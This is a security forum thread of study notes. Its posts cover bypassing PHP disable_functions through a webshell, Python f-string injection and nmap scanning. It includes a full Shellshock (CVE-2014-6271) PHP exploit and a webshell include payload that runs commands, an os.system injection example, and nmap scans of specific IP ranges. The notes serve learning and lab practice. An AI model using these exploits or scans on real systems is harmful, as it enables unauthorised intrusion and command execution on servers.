安全矩阵

 找回密码
 立即注册
搜索
12
返回列表 发新帖
楼主: Meng0f

郭鹏的学习日记

[复制链接]

251

主题

270

帖子

1783

积分

金牌会员

Rank: 6Rank: 6

积分
1783
 楼主| 发表于 2021-10-24 16:15:32 | 显示全部楼层
本帖最后由 Meng0f 于 2021-10-24 20:37 编辑

绕过disable_functions(总结师傅们的--多复现--学习用
为了安全起见,运维人员会禁用PHP的一些"危险"函数,例如eval,exec,system等,(在php配置文件php.ini中写入),这也就是我们
常说的disable_functions了。
如果在渗透时,在已上传webshell的情况下却因为disable_functions禁用了一些PHP函数,导致我们无法执行命令的话,这时就要想办法进行绕过,突破disable_functions

先做个大致总结
0x00 蚁剑插件
0x01 常规绕过(黑名单绕过
0x02 利用 ShellShock(CVE-2014-6271)
0x03 利用 Apache Mod CGI
0x04 通过攻击 PHP-FPM
0x05 利用 Json Serializer UAF
0x06 利用 ImageMagick
0x07 利用 GC UAF
0x08 利用 Backtrace UAF
0x09 利用 pcntl_exec
0x10 利用 SplDoublyLinkedList UAC
0x11 利用 FFI 扩展执行命令
0x12 利用 LD_PRELOAD 环境变量
0x13 利用imap_open函数任意命令执行(CVE-2018-19501)
0x14 利用系统组件window com绕过

0x00 蚁剑插件...


0x01 常规绕过(黑名单绕过)
...

0x02 利用ShellShock(CVE-2014-6271)
​利用条件
  1. ·Linux操作系统
  2. ·putenv()、mail() 或 error_log() 函数可用
  3. ·目标系统的 /bin/bash 存在 CVE-2014-6271 漏洞
  4. ·/bin/sh -> /bin/bash sh 默认的 shell 是 bash
复制代码
漏洞原理:




​这里使用的是AntSword-Labs 项目来搭建环境
​​

首先访问界面,发现无法执行命令:

​​

直接对于这种一句话,我们get/post都可以传参,直接echo phpinfo(),一个phpinfo看看:     get
​​

/或者/post
​​

可以看到disable_functions,这里我们可以①直接蚁剑连接:因为
  1. AntSword 虚拟终端中已经集成了对 ShellShock 的利用,直接在虚拟终端执行命令即可绕过disable_functions:
复制代码
直接执行,是可行的


②手动绕过
​在有权限的目录/var/tmp下,我们上传一个利用脚本exp.php
  1. <?php
  2. # Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions)
  3. # Google Dork: none
  4. # Date: 10/31/2014
  5. # Exploit Author: Ryan King (Starfall)
  6. # Vendor Homepage: http://php.net
  7. # Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror
  8. # Version: 5.* (tested on 5.6.2)
  9. # Tested on: Debian 7 and CentOS 5 and 6
  10. # CVE: CVE-2014-6271
  11. function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283
  12.    $tmp = tempnam(".","data");
  13.    putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
  14.    // In Safe Mode, the user may only alter environment variableswhose names
  15.    // begin with the prefixes supplied by this directive.
  16.    // By default, users will only be able to set environment variablesthat
  17.    // begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty,
  18.    // PHP will let the user modify ANY environment variable!
  19.    //mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actuallysend any mail
  20.    error_log('a',1);
  21.    $output = @file_get_contents($tmp);
  22.    @unlink($tmp);
  23.    if($output != "") return $output;
  24.    else return "No output, or not vuln.";
  25. }
  26. echo shellshock($_REQUEST["cmd"]);
  27. ?>
复制代码

然后利用该webshell直接包含,执行:

  1. ant=include(%22../../tmp/exp.php%22);&cmd=whoami
复制代码

​​


0x03 利用Apache Mod CGI





回复

使用道具 举报

251

主题

270

帖子

1783

积分

金牌会员

Rank: 6Rank: 6

积分
1783
 楼主| 发表于 2021-10-18 21:43:31 | 显示全部楼层
本帖最后由 Meng0f 于 2021-10-18 22:15 编辑

python:
python中r'',b'',u'',f''含义
  r'':字符串前加r,r''的作用是去除转义字符比如:
  1. >>> str1='1\n2'
  2. >>> str2=r'1\n2'
  3. >>> print str1
  4. 1
  5. 2
  6. >>> print str2
  7. 1\n2
复制代码
  b'':



  f'':字符串前面加f表示格式化字符串,加f后可以在字符串里面使用 用花括号括起来的 变量和表达式,若字符串中没用表达式,那么前面加不加f输出结果都一样--注 python3.6才开始引入的
  1. python3里面:
复制代码
当然,这里可能会产生类似的安全问题
如:(记住前提是在python3.6之后的版本)
  1. └─$ python3                                                                                                                                                                       148 ⨯ 2 ⚙
  2. Python 3.8.6 (default, Sep 25 2020, 09:36:53)
  3. [GCC 10.2.0] on linux
  4. Type "help", "copyright", "credits" or "license" for more information.
  5. >>> import os
  6. <blockquote>>>> f"{os.system('i'+'d')}"
复制代码




写程序时,发现python2 和 3 处理不同类型数据上有些许差距,稍微记下:



回复

使用道具 举报

251

主题

270

帖子

1783

积分

金牌会员

Rank: 6Rank: 6

积分
1783
 楼主| 发表于 2021-9-16 17:19:53 | 显示全部楼层
Nmap
1、默认扫描(不加任何参数,默认扫描目标ip基本信息,包括ping探测主机是否存活,探测常见的1000个端口是否开放)
nmap 121.36.202.51

/或者直接扫描主机名
nmap www.xxx.com

2、根据端口扫描
nmap -p- 121.36.202.51                全端口(慢
nmap -p 1-65535 121.36.202.51    全端口(慢
nmap -p 80,443 121.36.202.51      

3、同时扫描多个ip
连续的ip:
       nmap -p 80,22 121.36.202.51,52,53

不连续的ip:直接以空格将多个ip隔开就好
       nmap -p 80,22 121.36.202.51 121.36.202.56 121.36.202.52


4、扫描指定的ip范围
如果扫描ip范围是某个子网,通过指定CIDR IP范围来对目标IP段进行扫描
①nmap -p 80,22 121.36.202.51/24       扫描c段  // 或者nmap -p 80,22 121.36.202.*

②nmap -p 80,22 121.36.202.0/28       意思是121.36.202.1-121.36.202.16 这几个ip

③nmap -p 22,80 121.36.202.* --exclude 121.36.202.0/28    参数 --exclude排除该IP


5、从文件中读取目标列表
nmap -p 22,80 -iL xx.txt    参数-iL指定目标文件名

6、把扫描结果保存在文件中
nmap -p 22,80 -iL list.txt -oN resoult.txt


7、利用脚本检查CVE漏洞
nmap还带有脚本引擎,用于扩展Nmap能力,利用参数--script指定带运行脚本,

8、获取网站Title
在信息收集时,遇到大量网站资产,对于快速获取所有网站标题,可以使用nmap,的脚本引擎中的http-title脚本,方法如下:
nmap -p 80,8888,22 --script http-title 123.60.85.184


9、待续

10
-A (参数-A,想尽可能多的获取目标信息时,可以只使用该参数)
-n (参数-n,不使用DNS反向解析,在不需要针对IP进行反解析时,可以禁用DNS反解析以提升扫描速度)
-sV(参数-sV,获取端口服务信息)
  指定TCP/UDP协议扫描,端口服务有不同协议,比如53端口DNS协议就是UDP协议
-sT(参数-sT,TCP扫描)
-sU(参数-sU,UDP扫描)

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-20 21:33 , Processed in 0.018036 second(s), 17 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表